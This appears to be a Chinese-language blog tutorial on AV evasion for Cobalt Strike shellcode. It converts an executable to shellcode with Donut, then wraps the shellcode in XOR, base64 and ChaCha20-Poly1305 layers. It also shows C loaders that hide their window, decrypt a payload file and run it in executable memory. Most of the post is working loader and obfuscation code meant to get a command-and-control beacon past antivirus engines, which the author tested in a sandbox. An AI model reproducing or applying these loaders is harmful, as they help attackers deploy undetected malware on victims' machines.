深思
我经常会问自己一个问题,我用cs生成的shellcode,就算我能写点加载器把他构造成免杀的,那他的本质还是那一串十六进制,如果不能绕过这方面,那我以后肯定难成大器啊。我就在查有没有什么方法可以一键提取shellcode的,毕竟用xdbug看真的会昏头。接着我搜啊搜,还真被我找到了个好项目https://github.com/TheWover/donut#
作用及利用
它用来将exe转为bin文件,然后可以结合自己写的脚本,将bin转为shellcode就好
话不多说上演示
用cs生成c的shellcode,首先先使用它生成一个exe(直接使用cs生成的exe我试过不行,我不确定他是用什么语言写的所以就自己弄一个)


然后把他放到项目下,生成一个a.bin文件

复制a.bin到脚本的目录下,转为我们想要的shellcode
import sys
def bin_to_shellcode(file_path):
try:
with open(file_path, 'rb') as file:
binary_data = file.read()
# 将字节转换为十进制整数并以逗号分隔
shellcode = ', '.join(str(byte) for byte in binary_data)
return shellcode
except FileNotFoundError:
print(f"错误:文件 {file_path} 未找到。")
return None
except Exception as e:
print(f"发生未知错误: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) != 2:
print("用法: python bin_to_shellcode.py <bin_file_path>")
sys.exit(1)
bin_file = sys.argv[1]
result = bin_to_shellcode(bin_file)
if result:
# 以 C 语言数组格式写入文件
with open('a.c', 'w') as output_file:
output_file.write(f"unsigned char shellcode[] = {{{result}}};\n")
print("Shellcode 已成功写入 a.c 文件。")


利用这个shellcode,重新换个加载器即可实现上线
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <stdlib.h>
#include <stdio.h>
void HideWindow()
{
HWND hwnd = GetForegroundWindow();
if (hwnd)
{
ShowWindow(hwnd, SW_HIDE);
}
}
int RUN()
{
HideWindow();
unsigned char shellcode[] =
size_t size=sizeof(shellcode);
void *exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, size);
((void(*)())exec)();
return 0;
}
int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
RUN();
}



现在就基本操作都了解的差不多了,那么怎么合理利用此项目免杀呢?
免杀教程(各功能代码放最后)
最开始走了一些弯路,我想的是把第一次制作shellcode的部分“精装”,于是就先对shellcode进行xor异或,接着用base64对异或结果加密,将加密得到的结果再chacha20poly1305动态加密,属于是混淆了很多遍了
但是上传微步云沙箱后看到还是有六个杀软始终绕不过,甚至换了各种方法,始终有六个,于是意识到可能是exe转bin的这个工具的特征被识别了,毕竟刚从github上下的时候Windows一直在报毒,但是我又不可能不用这个工具什么的。。。
既然工具主要的作用是exe-bin-shell这一步,我们能控制的是shell的走向,查看源码,和shell有关的不就是加密的代码?那不让他出现在这上面就好了,于是把shellcode和加载器分离(shellcode放到bin文件里面),加载器实现功能从里面读取来上线,但是还需要对bin文件做一个混淆(这俩要放到一起才能上线),免杀的加载器和免杀的bin才是双剑合璧天下无敌!
最终代码长这样
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// 动态存储Shellcode
unsigned char* wodemima = NULL;
size_t wodemima_size = 0;
// 正确加载函数(二进制模式)
int wodemimahanshu(const char* filename) {
FILE* file = fopen(filename, "rb");
if (!file) return 0;
// 获取加密后的文件大小
fseek(file, 0, SEEK_END);
long encrypted_size = ftell(file);
rewind(file);
if (encrypted_size <= 0) {
fclose(file);
return 0;
}
// 分配内存存放加密数据(临时缓冲区)
unsigned char* encrypted_data = (unsigned char*)malloc(encrypted_size);
if (!encrypted_data) {
fclose(file);
return 0;
}
// 读取加密内容
size_t read_size = fread(encrypted_data, 1, encrypted_size, file);
fclose(file);
if (read_size != encrypted_size) {
free(encrypted_data);
return 0;
}
// 异或解密(0xFF为密钥)
for (long i = 0; i < encrypted_size; i++) {
encrypted_data[i] ^= 0x39; // 核心解密操作
}
// 将解密结果赋值给全局变量
wodemima = encrypted_data;
wodemima_size = encrypted_size;
return 1;
}
// 执行函数(需保留原有逻辑)
void wodemimahanshuzhix() {
if (!wodemima || wodemima_size == 0) return;
void* exec_mem = VirtualAlloc(0, wodemima_size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
free(wodemima);
return;
}
memcpy(exec_mem, wodemima, wodemima_size);
free(wodemima);
((void(*)())exec_mem)();
}
// 主入口
int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int n) {
const char* filename = "C:\\Users\\20279\\Documents\\payload1.bin"; // 转换后的二进制文件
if (!wodemimahanshu(filename)) {
MessageBoxA(NULL, "加载Shellcode失败", "错误", MB_ICONERROR);
return 1;
}
wodemimahanshuzhix();
return 0;
}
异或0x39和上面代码对应




加麻
1.对shellcode加密base64和xor
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Base64编码表(无隐式\0问题)
static const char base64_chars[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
// XOR加密/解密(可逆操作)
void xor_process(unsigned char* data, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
// 完整流程:
// 1. 原始Shellcode -> XOR加密 -> Base64编码 -> 传输
// 2. Base64解码 -> XOR解密 -> 执行Shellcode
//
// Base64编码函数
char* base64_encode(const unsigned char* input, size_t length) {
size_t output_length = 4 * ((length + 2) / 3);
char* output = (char*)malloc(output_length + 1);
if (!output) return NULL;
size_t i, j;
for (i = 0, j = 0; i < length;) {
unsigned int octet_a = i < length ? input[i++] : 0;
unsigned int octet_b = i < length ? input[i++] : 0;
unsigned int octet_c = i < length ? input[i++] : 0;
unsigned int triple = (octet_a << 16) | (octet_b << 8) | octet_c;
output[j++] = base64_chars[(triple >> 18) & 0x3F]; // 取高6位
output[j++] = base64_chars[(triple >> 12) & 0x3F];
output[j++] = base64_chars[(triple >> 6) & 0x3F];
output[j++] = base64_chars[triple & 0x3F];
}
// 处理填充
switch (length % 3) {
case 1:
output[output_length - 1] = '=';
output[output_length - 2] = '=';
break;
case 2:
output[output_length - 1] = '=';
break;
}
output[output_length] = '\0';
return output;
}
// Base64解码函数
unsigned char* base64_decode(const char* input, size_t* output_length) {
size_t input_length = strlen(input);
if (input_length % 4 != 0) return NULL;
// 计算输出长度
*output_length = input_length / 4 * 3;
if (input[input_length - 1] == '=') (*output_length)--;
if (input[input_length - 2] == '=') (*output_length)--;
unsigned char* output = (unsigned char*)malloc(*output_length + 1);
if (!output) return NULL;
size_t i, j = 0;
for (i = 0; i < input_length;) {
unsigned int sextet[4] = { 0 };
int padding = 0;
for (int k = 0; k < 4; k++) {
char c = input[i++];
if (c == '=') {
// 处理填充逻辑
}
else {
// 关键修复:显式类型转换 + 限定搜索范围
const char* p = (const char*)memchr(base64_chars, c, 64); // 显式转换
if (!p) { // 非法字符
free(output);
return NULL;
}
sextet[k] = p - base64_chars;
}
}
unsigned int triple = (sextet[0] << 18) | (sextet[1] << 12) | (sextet[2] << 6) | sextet[3];
// 写入输出
output[j++] = (triple >> 16) & 0xFF;
if (j < *output_length) output[j++] = (triple >> 8) & 0xFF;
if (j < *output_length) output[j++] = triple & 0xFF;
if (padding) break; // 遇到填充符后不再处理
}
output[*output_length] = '\0';
return output;
}
// 打印二进制数据的辅助函数
void print_hex(const unsigned char* data, size_t len) {
for (size_t i = 0; i < len; i++) {
printf("\\x%02x", data[i]);
}
printf("\n");
}
int main() {
// 测试数据
unsigned char test_data[] = ;
size_t data_len = sizeof(test_data) - 1;
//xor加密
// 1. 预处理:XOR加密(去除空字节)
unsigned char key = 0xFF;
xor_process(test_data, data_len, key);
// 编码测试
char* encoded = base64_encode(test_data, data_len);
if (!encoded) {
printf("Encode failed!\n");
return 1;
}
printf("Encoded: %s\n", encoded);
// 解码测试
size_t decoded_len;
unsigned char* decoded = base64_decode(encoded, &decoded_len);
if (!decoded) {
printf("Decode failed!\n");
free(encoded);
return 1;
}
//xor解密
xor_process(decoded, decoded_len, key);
// 验证结果
printf("Decoded: ");
print_hex(decoded, decoded_len);
// 对比原始数据
if (memcmp(test_data, decoded, data_len) == 0) {
printf("Validation: OK\n");
}
else {
printf("Validation: FAILED\n");
}
printf("Original Len: %zu\n", data_len);
printf("Decoded Len: %zu\n", decoded_len);
printf("Original Data:\n");
for (size_t i = 0; i < data_len; i++) {
printf("%02x ", test_data[i]);
}
printf("\nDecoded Data:\n");
for (size_t i = 0; i < decoded_len; i++) {
printf("%02x ", decoded[i]);
}
printf("\n");
free(encoded);
free(decoded);
return 0;
}

加辣
2.将密文chacha20poly1305动态加密
#include <stdio.h>
#include <string.h>
#include <D:\github\lib\libsodium\libsodium-1.0.20-msvc\libsodium\include\sodium.h>
#define KEY_SIZE 32
#define NONCE_SIZE 24
int main() {
if (sodium_init() < 0) {
printf("sodium_init failed!\n");
return 1;
}
printf("sodium_init success!\n");
printf("crypto_aead_chacha20poly1305_ABYTES: %d\n", crypto_aead_chacha20poly1305_ABYTES);
unsigned char ubf[] = ;
int ubf_len = strlen((char*)ubf);
unsigned char key[KEY_SIZE];
randombytes_buf(key, KEY_SIZE);
unsigned char nonce[NONCE_SIZE];
randombytes_buf(nonce, NONCE_SIZE);
printf("Key: ");
for (int i = 0; i < KEY_SIZE; i++) printf("0x%02X,", key[i]);
printf("\nNonce: ");
for (int i = 0; i < NONCE_SIZE; i++) printf("0x%02X,", nonce[i]);
printf("\n");
unsigned char* encrypted = malloc(ubf_len + crypto_aead_chacha20poly1305_ABYTES);
if (!encrypted) {
printf("Memory allocation failed!\n");
return 1;
}
unsigned long long encrypted_len; // 正确类型
// 修复参数顺序和长度指针
if (crypto_aead_chacha20poly1305_encrypt(
encrypted,
&encrypted_len, // 传入指针接收长度
ubf,
(unsigned long long)ubf_len,
NULL,
0,
NULL,
nonce, // 正确顺序:nonce在key之前
key
) != 0) { // 检查返回值是否为0
printf("Encryption failed!\n");
free(encrypted);
return 1;
}
printf("encrypted_len: %llu\n", encrypted_len);
//输出密文
printf("Ciphertext: ");
for (unsigned long long i = 0; i < encrypted_len; i++) {
printf("0x%02X,", encrypted[i]);
if ((i + 1) % 16 == 0) printf("\n "); // 每16字节换行对齐
}
printf("\n");
// 修改解密缓冲区的分配
unsigned char* decrypted = malloc(ubf_len + 1); // 分配 ubuf_len + 1 字节
if (decrypted == NULL) {
printf("Memory allocation for decrypted buffer failed!\n");
free(encrypted);
return 1;
}
// 解密过程
unsigned long long decrypted_len;
if (crypto_aead_chacha20poly1305_decrypt(
decrypted,
&decrypted_len,
NULL,
encrypted,
encrypted_len,
NULL,
0,
nonce,
key
) != 0) {
printf("Decryption failed.\n");
}
else {
// 安全添加终止符
if (decrypted_len <= ubf_len) {
decrypted[decrypted_len] = '\0';
printf("Decrypted: %s\n", decrypted);
}
else {
printf("Decrypted data length exceeds buffer size!\n");
}
}
free(encrypted);
free(decrypted);
return 0;
}

解毒
3.密钥和密文扔进去
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(linker, "/section:.data,RWE")
#include <stdio.h>
#include <D:\github\lib\libsodium\libsodium-1.0.20-msvc\libsodium\include\sodium.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>
// Base64编码表(无隐式\0问题)
static const char base64_chars[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
// XOR加密/解密(可逆操作)
void xor_process(unsigned char* data, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
// 打印二进制数据的辅助函数
void print_hex(const unsigned char* data, size_t len) {
for (size_t i = 0; i < len; i++) {
printf("\\x%02x", data[i]);
}
printf("\n");
}
// Base64解码函数
unsigned char* base64_decode(const char* input, size_t* output_length) {
size_t input_length = strlen(input);
if (input_length % 4 != 0) return NULL;
// 计算输出长度
*output_length = input_length / 4 * 3;
if (input[input_length - 1] == '=') (*output_length)--;
if (input[input_length - 2] == '=') (*output_length)--;
unsigned char* output = (unsigned char*)malloc(*output_length + 1);
if (!output) return NULL;
size_t i, j = 0;
for (i = 0; i < input_length;) {
unsigned int sextet[4] = { 0 };
int padding = 0;
for (int k = 0; k < 4; k++) {
char c = input[i++];
if (c == '=') {
// 处理填充逻辑
}
else {
// 关键修复:显式类型转换 + 限定搜索范围
const char* p = (const char*)memchr(base64_chars, c, 64); // 显式转换
if (!p) { // 非法字符
free(output);
return NULL;
}
sextet[k] = p - base64_chars;
}
}
unsigned int triple = (sextet[0] << 18) | (sextet[1] << 12) | (sextet[2] << 6) | sextet[3];
// 写入输出
output[j++] = (triple >> 16) & 0xFF;
if (j < *output_length) output[j++] = (triple >> 8) & 0xFF;
if (j < *output_length) output[j++] = triple & 0xFF;
if (padding) break; // 遇到填充符后不再处理
}
output[*output_length] = '\0';
return output;
}
// 定义密钥(32 字节,16 进制转字节数组)
unsigned char key[32] = {
};
// 定义 Nonce(假设你漏写了 4 字节,补全为 24 字节,实际请按正确长度填写)
// 注意:若你的 Nonce 实际是 24 字节,请修正以下数组(当前示例为临时补全,仅用于演示)
unsigned char nonce[24] = {
// 假设这是完整的 24 字节
};
// 定义密文(需替换为你的实际密文,格式:十六进制字节数组,包含 16 字节认证标签)
// 示例:假设密文为 100 字节(实际长度需根据你的密文计算)
unsigned char ciphertext[] = {
};
size_t ciphertext_len = sizeof(ciphertext); // 密文长度(包含认证标签)
int main() {
// 初始化 libsodium
if (sodium_init() < 0) {
printf("sodium_init failed!\n");
return 1;
}
// 分配解密缓冲区(明文最大长度 = 密文长度 - 认证标签长度 16 字节)
unsigned char* plaintext = (unsigned char*)malloc(ciphertext_len - crypto_aead_chacha20poly1305_ABYTES + 1);
if (plaintext == NULL) {
printf("Memory allocation failed!\n");
return 1;
}
unsigned long long decrypted_len;
// 解密(附加数据为 NULL,长度为 0)
int result = crypto_aead_chacha20poly1305_decrypt(
plaintext, // 输出:明文
&decrypted_len, // 输出:明文长度
NULL, // nsec(无,传 NULL)
ciphertext, // 输入:密文
ciphertext_len, // 输入:密文长度
NULL, // ad(无附加数据,传 NULL)
0, // adlen(附加数据长度为 0)
nonce, // 输入:Nonce
key // 输入:密钥
);
// 检查解密是否成功(通过函数返回值 result)
if (result < 0) {
printf("Decryption failed! (可能是密钥、Nonce 错误或密文被篡改)\n");
free(plaintext);
return 1;
}
// 输出明文(假设明文是字符串,以 \0 结尾)
printf("Decrypted plaintext:\n");
for (int i = 0; i < decrypted_len; i++) {
printf("%c", plaintext[i]);
}
printf("\n");
plaintext[decrypted_len] = '\0';
unsigned char keyword = 0xFF; // xor密钥
// 解码测试
size_t decoded_len;
// 将 plaintext 显式转换为 const char* 以匹配 base64_decode 的参数要求
unsigned char* decoded = base64_decode((const char*)plaintext, &decoded_len);
if (!decoded) {
printf("Decode failed!\n");
free(plaintext);
return 1;
}
//xor解密
xor_process(decoded, decoded_len, keyword);
// 验证结果
//printf("Decoded: ");
//print_hex(decoded, decoded_len);
unsigned char* new_allocated_buf = VirtualAlloc(
NULL,
decoded_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // 赋予执行和读写权限
);
if (!new_allocated_buf) {
printf("Memory allocation failed!\n");
free(decoded);
return 1;
}
memcpy(new_allocated_buf, decoded, decoded_len);
((void (*)(void)) new_allocated_buf)(); // 此时内存有执行权限
// 释放内存
free(plaintext);
return 0;
}

此时把编译成功的exe扔到项目->变成bin->变成shellcode->转异或bin(emmm,貌似扔进项目后直接转异或就好了,但是我没试哈)->俩放一起执行上线
#十进制shellcode转bin
with open("2.txt") as f:
data = [int(x) for x in f.read().split(",")]
with open("payload1.bin", "wb") as f:
f.write(bytes(data))
后面的区域请到前面去探索吧!
免责声明:为了测试哪里有问题我才弄了那么多的printf的,若嫌无用,速删
Comments NOTHING